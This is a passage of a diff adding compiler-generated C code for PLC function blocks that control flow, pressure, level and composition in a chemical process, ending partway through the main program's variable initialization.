__SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + 